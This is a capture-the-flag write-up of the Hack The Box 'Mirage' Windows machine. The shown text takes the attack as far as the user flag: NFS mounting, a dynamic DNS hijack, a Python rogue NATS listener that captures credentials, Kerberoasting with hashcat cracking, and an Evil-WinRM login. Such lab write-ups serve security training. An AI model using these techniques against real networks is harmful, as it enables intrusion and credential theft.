HTB Writeup: Mirage
NFS → DNS hijack of NATS → steal Dev creds → NATS auth logs → Kerberoast → WinRM as IT admin → AutoLogon creds → ACL abuse → gMSA → ADCS ESC7-style UPN abuse → RBCD on DC → DCSync → Administrator.
A quick walkthrough of HTB Mirage Windows Hard Box.
TL;DR
- NFS share exposes internal incident-response reports.
- Reports show:
- A DNS misconfiguration allowing unauthenticated updates to nats-svc.mirage.htb.
- A partially completed NTLM hardening project (NTLM not fully disabled, but heavily restricted).
- User Flag:
- Hijack nats-svc.mirage.htb via dynamic DNS update.
- Stand up a rogue NATS server to capture Dev_Account_A credentials from NATS CONNECT.
- Use NATS to read logs.auth → recover david.jjackson AD credentials.
- Kerberoast HTTP/exchange.mirage.htb (user nathan.aadam), crack the TGS, and get WinRM access → user flag.
- For priv-esc:
- Run SharpUp → find AutoLogon creds for mark.bbond in Winlogon registry keys.
- Abuse AD ACLs: mark.bbond has ForceChangePassword over javier.mmarshall → reset his password, then:
- Re-enable the account (clear ACCOUNTDISABLE).
- Fix logonHours to allow interactive logon.
- With javier, read gMSA secrets for Mirage-Service$ (msDS-ManagedPassword) and recover its NT hash.
- Impersonate Mirage-Service$:
- Use ADCS (ESC7-style) UPN abuse to request a certificate that effectively authenticates as dc01$.
- With the dc01$ identity, use Certipy’s LDAP shell to grant RBCD to Mirage-Service$ on DC01.
- Use S4U2Proxy (getST) as Mirage-Service$ → impersonate dc01$ to CIFS on DC → DCSync → dump all domain hashes.
- Use the Administrator hash to obtain a Kerberos TGT and connect via Evil-WinRM → root flag.
Initial enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ sudo nmap -Pn -n -sS 10.129.184.47 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 12:15 CEST
Nmap scan report for 10.129.184.47
Host is up (0.029s latency).
Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
4222/tcp open vrml-multi-use
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
52268/tcp open unknown
52308/tcp open unknown
52311/tcp open unknown
57562/tcp open unknown
57569/tcp open unknown
57570/tcp open unknown
57585/tcp open unknown
65174/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 27.64 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ sudo nmap -Pn -n 10.129.184.47 -p 4222 -sC -sV -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 12:30 CEST
Nmap scan report for 10.129.184.47
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
4222/tcp open vrml-multi-use?
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","server_name":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":64,"client_ip":"10.10.14.175","xkey":"XCH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V"}
| -ERR 'Authorization Violation'
| GetRequest:
| INFO {"server_id":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","server_name":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":65,"client_ip":"10.10.14.175","xkey":"XCH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V"}
| -ERR 'Authorization Violation'
| HTTPOptions:
| INFO {"server_id":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","server_name":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":66,"client_ip":"10.10.14.175","xkey":"XCH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V"}
| -ERR 'Authorization Violation'
| NULL:
| INFO {"server_id":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","server_name":"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":63,"client_ip":"10.10.14.175","xkey":"XCH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V"}
|_ -ERR 'Authentication Timeout'
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4222-TCP:V=7.95%I=7%D=8/26%Time=68AD8CAF%P=aarch64-unknown-linux-gn
SF:u%r(NULL,1D0,"INFO\x20{\"server_id\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL4
SF:6TXE2AJQYFORHJEAHMYKJME6\",\"server_name\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE
SF:2JRCL46TXE2AJQYFORHJEAHMYKJME6\",\"version\":\"2\.11\.3\",\"proto\":1,\
SF:"git_commit\":\"a82cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\"
SF:,\"port\":4222,\"headers\":true,\"auth_required\":true,\"max_payload\":
SF:1048576,\"jetstream\":true,\"client_id\":63,\"client_ip\":\"10\.10\.14\
SF:.175\",\"xkey\":\"XCH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU
SF:62V\"}\x20\r\n-ERR\x20'Authentication\x20Timeout'\r\n")%r(GenericLines,
SF:1D1,"INFO\x20{\"server_id\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQY
SF:FORHJEAHMYKJME6\",\"server_name\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TX
SF:E2AJQYFORHJEAHMYKJME6\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_comm
SF:it\":\"a82cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\"
SF::4222,\"headers\":true,\"auth_required\":true,\"max_payload\":1048576,\
SF:"jetstream\":true,\"client_id\":64,\"client_ip\":\"10\.10\.14\.175\",\"
SF:xkey\":\"XCH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V\"}\x2
SF:0\r\n-ERR\x20'Authorization\x20Violation'\r\n")%r(GetRequest,1D1,"INFO\
SF:x20{\"server_id\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMY
SF:KJME6\",\"server_name\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORH
SF:JEAHMYKJME6\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_commit\":\"a82
SF:cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":4222,\"he
SF:aders\":true,\"auth_required\":true,\"max_payload\":1048576,\"jetstream
SF:\":true,\"client_id\":65,\"client_ip\":\"10\.10\.14\.175\",\"xkey\":\"X
SF:CH4DRXKCE7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V\"}\x20\r\n-ERR\
SF:x20'Authorization\x20Violation'\r\n")%r(HTTPOptions,1D1,"INFO\x20{\"ser
SF:ver_id\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJME6\",\
SF:"server_name\":\"NBKW6CNGYZHNZR4PZSFKF6GFBE2JRCL46TXE2AJQYFORHJEAHMYKJM
SF:E6\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_commit\":\"a82cfda\",\"
SF:go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":4222,\"headers\":t
SF:rue,\"auth_required\":true,\"max_payload\":1048576,\"jetstream\":true,\
SF:"client_id\":66,\"client_ip\":\"10\.10\.14\.175\",\"xkey\":\"XCH4DRXKCE
SF:7UE5GA5BGSEP7WI5XAZYDMUFZ55BH2FK7CZDWVW4QEU62V\"}\x20\r\n-ERR\x20'Autho
SF:rization\x20Violation'\r\n");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2022 (95%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2019 (92%), Microsoft Windows 10 1703 or Windows 11 21H2 (91%), Microsoft Windows Server 2016 or Server 2019 (91%), Microsoft Windows Server 2012 (91%), Microsoft Windows 10 1703 (90%), Windows Server 2019 (90%), Microsoft Windows 10 1909 - 2004 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 4222/tcp)
HOP RTT ADDRESS
1 22.70 ms 10.10.14.1
2 22.76 ms 10.129.184.47
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.36 seconds
The banner clearly shows a NATS 2.11.3 server with auth_required: true.
Foothold
The NFS export is low-hanging fruit, so I mounted it first:
1
2
3
4
5
6
7
8
9
10
11
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ sudo mount 10.129.184.47:/MirageReports ./nfs
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ cd nfs
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage/nfs]
└─$ ll
total 17488
-rwx------+ 1 nobody nogroup 8530639 May 20 17:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 23:37 Mirage_Authentication_Hardening_Report.pdf
These 2 pdfs are interesting. Incident report is about a missing DNS record
The incident report explains an issue with a missing DNS record for nats-svc.mirage.htb. A screenshot shows a dangerous DNS configuration: dynamic updates to that record are allowed from untrusted (external) sources.
The authentication hardening report states NTLM is being phased out, but the rollout is incomplete. NTLM is heavily restricted but still usable in some flows (and Kerberos is preferred/recommended).
I will begin with the DNS part. The plan: poison the NATS service DNS record and point it to my attack box.
I will first modify the record :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ nsupdate
> server 10.129.184.47
> zone mirage.htb
> update add nats-svc.mirage.htb 60 A 10.10.14.175
> send
> quit
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ dig @10.129.184.47 nats-svc.mirage.htb A
; <<>> DiG 9.20.11-4-Debian <<>> @10.129.184.47 nats-svc.mirage.htb A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 728
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;nats-svc.mirage.htb. IN A
;; ANSWER SECTION:
nats-svc.mirage.htb. 60 IN A 10.10.14.175
;; Query time: 28 msec
;; SERVER: 10.129.184.47#53(10.129.184.47) (UDP)
;; WHEN: Tue Aug 26 15:09:46 CEST 2025
;; MSG SIZE rcvd: 64
Now nats-svc.mirage.htb resolves to my IP (10.10.14.175).
I spun up a tiny rogue NATS listener which will capture credentials and optionally give a response.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket, json, re
INFO = ('INFO {"server_id":"CAP","server_name":"CAP","version":"2.11.3",'
'"proto":1,"host":"0.0.0.0","port":4222,"headers":true,'
'"auth_required":true,"max_payload":1048576,"jetstream":true}\r\n').encode()
def parse_connect(line):
m = re.search(rb'CONNECT\s+(\{.*\})', line, re.I)
if not m: return {}
try: return json.loads(m.group(1).decode(errors="ignore"))
except: return {}
with socket.socket() as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 4222)); s.listen(50)
print("[*] Rogue NATS listening on 0.0.0.0:4222")
while True:
c, a = s.accept()
with c:
c.sendall(INFO)
data = c.recv(4096)
creds = parse_connect(data)
print(f"[+] {a} CONNECT: {creds}")
# optionally keep the illusion alive
c.sendall(b'-ERR "Authorization Violation"\r\n')
1
2
3
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ python nats_credap.py
[*] Rogue NATS listening on 0.0.0.0:4222
Very quickly, a legitimate client hit the poisoned nats-svc.mirage.htb, and I captured valid AD credentials:
1
2
3
4
5
6
7
8
9
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ python nats_credap.py
[*] Rogue NATS listening on 0.0.0.0:4222
[+] ('127.0.0.1', 59894) CONNECT: {}
[+] ('127.0.0.1', 59908) CONNECT: {}
[+] ('10.129.184.47', 50701) CONNECT: {'verbose': False, 'pedantic': False, 'user': 'Dev_Account_A', 'pass': 'hx5h7F5554fP@1337!', 'tls_required': False, 'name': 'NATS CLI Version 0.2.2', 'lang': 'go', 'version': '1.41.1', 'protocol': 1, 'echo': True, 'headers': True, 'no_responders': True}
Credentials obtained: Dev_Account_A / hx5h7F5554fP@1337!
User Flag
Using Dev_Account_A, I connected to NATS and inspected streams. The auth_logs stream contained authentication attempts with more credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ nats -s 'nats://Dev_Account_A:hx5h7F5554fP@1337!@10.129.184.47:4222' stream view auth_logs
[1] Subject: logs.auth Received: 2025-05-05 09:18:56
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[2] Subject: logs.auth Received: 2025-05-05 09:19:24
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[3] Subject: logs.auth Received: 2025-05-05 09:19:25
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[4] Subject: logs.auth Received: 2025-05-05 09:19:26
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
[5] Subject: logs.auth Received: 2025-05-05 09:19:27
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
15:36:30 Reached apparent end of data
Credentials obtained: david.jjackson / pN8kQmn6b86!1234@
With david.jjackson, I pulled BloodHound data:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ bloodhound-python -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -ns 10.129.184.47 -d mirage.htb -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: mirage.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.mirage.htb
INFO: Found 12 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 21 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.mirage.htb
INFO: Done in 00M 04S
INFO: Compressing output into 20250827225105_bloodhound.zip
Among the results, nathan.aadam appears as a user with an SPN:
- HTTP/exchange.mirage.htb
- Member of Exchange_Admins and IT-related admin groups.
1
2
3
4
5
6
7
8
9
10
11
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ impacket-GetUserSPNs -dc-ip 10.129.184.47 -dc-host dc01.mirage.htb MIRAGE.HTB/david.jjackson -k -no-pass -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
------------------------ ------------ ------------------------------------------------------------------- -------------------------- -------------------------- ----------
HTTP/exchange.mirage.htb nathan.aadam CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb 2025-06-23 23:18:18.584667 2025-07-04 22:01:43.511763
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$MIRAGE.HTB/nathan.aadam*$2a5a4917bdc4eef0a3070c8e96751509$edc0eff3f1b8899bdca40f33caee288d1608e3ef576686561747fc5514be7b0ea61f6c25241f26bcb9655f896438f57615a61ca2ecf3fb39f9035cb454678ac508381055bae88c7bc36bc2b816ef6699914adf8d443403b6b7daf55bba210173891816c1b005b777b2ff604648bbb0dfd3c4c17c9bce38993498319eefc532aabbc7fa89c2ff8d79aa8ed76b2a16e21b85f6ec0683d59c4220e728cda46b5e376260f419054aa41f6c7c5c111421f07f89db08e9630a77ef29049579b78600cc4cc05c61148208024451383f0e31929a28e3525b3cdd7751661e9e1d1f4ba4bfb39080253e860601330fa32551b9da021be7319dae4e216ae0c019156fdcd8ef15d0b7b2e89ea64104234aea62efcb5d01f19e7e622878f400e9438448d6793ace34b1a53d605cb39adf68b067833cac20143765ff02c1fb5eebfb2bab8fd3f0da25362fbb87e64147b5399d126999ae1030416e50dc3a3641d4cd3ff8c641d9deb946161f54af6ccf6a0392b9d713942d37d437e69c8545b189f4948870c32ef252ebc013befecf36fd5224f928901f96b1cd5461b0e0bb1a639322b6e2109add3df2df435aaa683542d42d828012ab0c2447e23548c2840175a3d1ae6d20738e0f3b246a8ca0622c906bb7c1957301748188e9fe0a4cb44de074f193ee720f95e95a776d25ab13f3ff8df5060fe017ef9b52075a4b5a38224dc055c03d17946c95ac5e561fbdc88d51463d34c5d3432d8439c519fb555e385fe7cb8f3dfeae76f532130f6f2b736bb5406e19216824cbb44883509d04c2764b3d8fef82c539844b6f6a349b9594dd90cb1c299198034ff26ec18ac20269222027b09d0c04005157306d6e6892d60b00a530a9eab7ada11629fdde8750b92693aa38cd8028893dfa980481de7c2a0649db8fb63fc693be2b91139e471c90766759d92767ae03916631b62739a5524ba6e9a1438c9e2767f18b2ded98e91627805ab5aba167907be70ef996e87dcc8173038890f3f7a847ea2200614856bd13a5a921cc0f5f6694347cec836ce29e21f113bd0b637dd4cd368eca7ad6a41f78ac815a5df67de4b3a64285297f797da378c114a5ade630549c526c805ab3a0be2810b23c5c247ebce8146e3b083735a906491f9d00b87a33e9e84f47756bde420891ac0415e8e90c5da5284b561201205b887d4264eb6e148a0e4908b9e90046388ee69f13cf641890ed16fd8f25d2fcba5f78c905a9012348533a2bb7a5be07da91f8c4496845a71d9a30f05042723a2d05965b7ad92cccab5967381e0760e818aa0f55fc3e5dd990917443d9ded8b80259838d6b1fcca3c22111a6a419a1b3b41c7c3c8017d6be00543599a880d8cfd3a33666bf0f8d56e7837af26ca93a82a1dc7898b5ee9fe753d4098e011124c2983dab1fb57505b4fc7027bddf1297a50a6abdd14098e9e5ad3ffebf3df8c1675fd6a820dce9fc50a3e03b241162e81bb1a596635bc401f4919c48cad2512fc3d49bc58ad5df272ae823ce30f63813d7b7586d3a15882179ba3dd0b5f12c56eb6a05fdc4caf33896c031e9183a3f5d44
I can now crack the hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ hashcat -m 13100 hashNathan /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 2909/5883 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$MIRAGE.HTB/nathan.aadam*$2a5a4917bdc4eef0a3070c8e96751509$edc0eff3f1b8899bdca40f33caee288d1608e3ef576686561747fc5514be7b0ea61f6c25241f26bcb9655f896438f57615a61ca2ecf3fb39f9035cb454678ac508381055bae88c7bc36bc2b816ef6699914adf8d443403b6b7daf55bba210173891816c1b005b777b2ff604648bbb0dfd3c4c17c9bce38993498319eefc532aabbc7fa89c2ff8d79aa8ed76b2a16e21b85f6ec0683d59c4220e728cda46b5e376260f419054aa41f6c7c5c111421f07f89db08e9630a77ef29049579b78600cc4cc05c61148208024451383f0e31929a28e3525b3cdd7751661e9e1d1f4ba4bfb39080253e860601330fa32551b9da021be7319dae4e216ae0c019156fdcd8ef15d0b7b2e89ea64104234aea62efcb5d01f19e7e622878f400e9438448d6793ace34b1a53d605cb39adf68b067833cac20143765ff02c1fb5eebfb2bab8fd3f0da25362fbb87e64147b5399d126999ae1030416e50dc3a3641d4cd3ff8c641d9deb946161f54af6ccf6a0392b9d713942d37d437e69c8545b189f4948870c32ef252ebc013befecf36fd5224f928901f96b1cd5461b0e0bb1a639322b6e2109add3df2df435aaa683542d42d828012ab0c2447e23548c2840175a3d1ae6d20738e0f3b246a8ca0622c906bb7c1957301748188e9fe0a4cb44de074f193ee720f95e95a776d25ab13f3ff8df5060fe017ef9b52075a4b5a38224dc055c03d17946c95ac5e561fbdc88d51463d34c5d3432d8439c519fb555e385fe7cb8f3dfeae76f532130f6f2b736bb5406e19216824cbb44883509d04c2764b3d8fef82c539844b6f6a349b9594dd90cb1c299198034ff26ec18ac20269222027b09d0c04005157306d6e6892d60b00a530a9eab7ada11629fdde8750b92693aa38cd8028893dfa980481de7c2a0649db8fb63fc693be2b91139e471c90766759d92767ae03916631b62739a5524ba6e9a1438c9e2767f18b2ded98e91627805ab5aba167907be70ef996e87dcc8173038890f3f7a847ea2200614856bd13a5a921cc0f5f6694347cec836ce29e21f113bd0b637dd4cd368eca7ad6a41f78ac815a5df67de4b3a64285297f797da378c114a5ade630549c526c805ab3a0be2810b23c5c247ebce8146e3b083735a906491f9d00b87a33e9e84f47756bde420891ac0415e8e90c5da5284b561201205b887d4264eb6e148a0e4908b9e90046388ee69f13cf641890ed16fd8f25d2fcba5f78c905a9012348533a2bb7a5be07da91f8c4496845a71d9a30f05042723a2d05965b7ad92cccab5967381e0760e818aa0f55fc3e5dd990917443d9ded8b80259838d6b1fcca3c22111a6a419a1b3b41c7c3c8017d6be00543599a880d8cfd3a33666bf0f8d56e7837af26ca93a82a1dc7898b5ee9fe753d4098e011124c2983dab1fb57505b4fc7027bddf1297a50a6abdd14098e9e5ad3ffebf3df8c1675fd6a820dce9fc50a3e03b241162e81bb1a596635bc401f4919c48cad2512fc3d49bc58ad5df272ae823ce30f63813d7b7586d3a15882179ba3dd0b5f12c56eb6a05fdc4caf33896c031e9183a3f5d44:3edc#EDC3
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$MIRAGE.HTB/nat...3f5d44
Time.Started.....: Tue Aug 26 16:20:38 2025 (9 secs)
Time.Estimated...: Tue Aug 26 16:20:47 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1435.7 kH/s (0.44ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12469248/14344384 (86.93%)
Rejected.........: 0/12469248 (0.00%)
Restore.Point....: 12468224/14344384 (86.92%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 3garden9 -> 3dw4rd22SA
Hardware.Mon.#1..: Util: 75%
Started: Tue Aug 26 16:20:38 2025
Stopped: Tue Aug 26 16:20:48 2025
BloodHound shows this user is part of the IT_ADMINS group which is in the REMOTE MANAGEMENT USERS group. This means we can use this account for direct WinRM access.
Assuming we already have a TGT for nathan.aadam (via impacket-getTGT or kinit), klist confirms:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: nathan.aadam@MIRAGE.HTB
Valid starting Expires Service principal
08/27/2025 23:24:21 08/28/2025 09:24:21 krbtgt/MIRAGE.HTB@MIRAGE.HTB
renew until 08/28/2025 23:24:20
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ evil-winrm -i dc01.mirage.htb -u 'nathan.aadam' -r mirage.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: User is not needed for Kerberos auth. Ticket will be used
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> cd ..
*Evil-WinRM* PS C:\Users\nathan.aadam> ls -Recurse
Directory: C:\Users\nathan.aadam
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/4/2025 1:01 PM 3D Objects
d-r--- 7/4/2025 1:01 PM Contacts
d-r--- 7/4/2025 1:02 PM Desktop
d-r--- 7/4/2025 1:01 PM Documents
d-r--- 7/4/2025 1:01 PM Downloads
d-r--- 7/4/2025 1:01 PM Favorites
d-r--- 7/4/2025 1:01 PM Links
d-r--- 7/4/2025 1:01 PM Music
d-r--- 7/4/2025 1:01 PM Pictures
d-r--- 7/4/2025 1:01 PM Saved Games
d-r--- 7/4/2025 1:01 PM Searches
d-r--- 7/4/2025 1:01 PM Videos
Directory: C:\Users\nathan.aadam\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/4/2025 1:01 PM 2312 Microsoft Edge.lnk
-ar--- 8/27/2025 9:34 AM 34 user.txt
Directory: C:\Users\nathan.aadam\Favorites
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/4/2025 1:01 PM Links
-a---- 7/4/2025 1:01 PM 208 Bing.url
Directory: C:\Users\nathan.aadam\Links
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/4/2025 1:01 PM 513 Desktop.lnk
-a---- 7/4/2025 1:01 PM 970 Downloads.lnk
*Evil-WinRM* PS C:\Users\nathan.aadam> cd Desktop
*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop> cat user.txt
